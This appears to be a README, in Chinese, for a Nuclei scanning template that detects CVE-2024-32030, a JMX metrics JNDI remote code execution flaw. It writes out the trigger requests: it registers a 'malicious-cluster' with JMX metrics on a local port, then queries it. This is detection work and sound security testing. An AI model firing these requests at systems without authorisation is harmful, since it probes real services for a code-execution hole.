CVE-2024-32030 Nuclei 模板

描述

此仓库包含一个用于检测 CVE-2024-32030 漏洞的 Nuclei 模板。该漏洞允许通过 JMX 指标收集 JNDI 解析实现远程代码执行。

漏洞详情

ID: CVE-2024-32030
名称: JMX Metrics Collection JNDI 远程代码执行
作者: Hüseyin TINTAŞ
严重性: 严重
描述: 该模板通过尝试连接到恶意的 JMX 服务器来检查漏洞是否存在。
标签: cve, cve2024, jmx, rce, cve2024-32030

模板

id: CVE-2024-32030

info:
  name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
  author: Hüseyin TINTAŞ
  severity: critical
  description: >
    CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
    This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
  tags: cve, cve2024, jmx, rce, cve2024-32030

requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/clusters"
    headers:
      Content-Type: "application/json"
    body: |
      {
        "name": "malicious-cluster",
        "bootstrapServers": ["127.0.0.1:1718"],
        "metrics": {
          "type": "JMX",
          "port": 1718
        }
      }
    matchers:
      - type: word
        part: body
        words:
          - "malicious-cluster added successfully"

  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster"
    matchers:
      - type: word
        part: body
        words:
          - "malicious-cluster"

  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
    matchers:
      - type: word
        part: body
        words:
          - "metrics"

用法

要使用此模板，请将其保存为 cve-2024-32030.yaml，然后使用 Nuclei 运行：

nuclei -t CVE-2024-32030.yaml -u http://target-server

联系方式

如有任何疑问或需要更多信息，您可以通过以下方式联系我：

CVE-2024-32030-Nuclei-Template

最受欢迎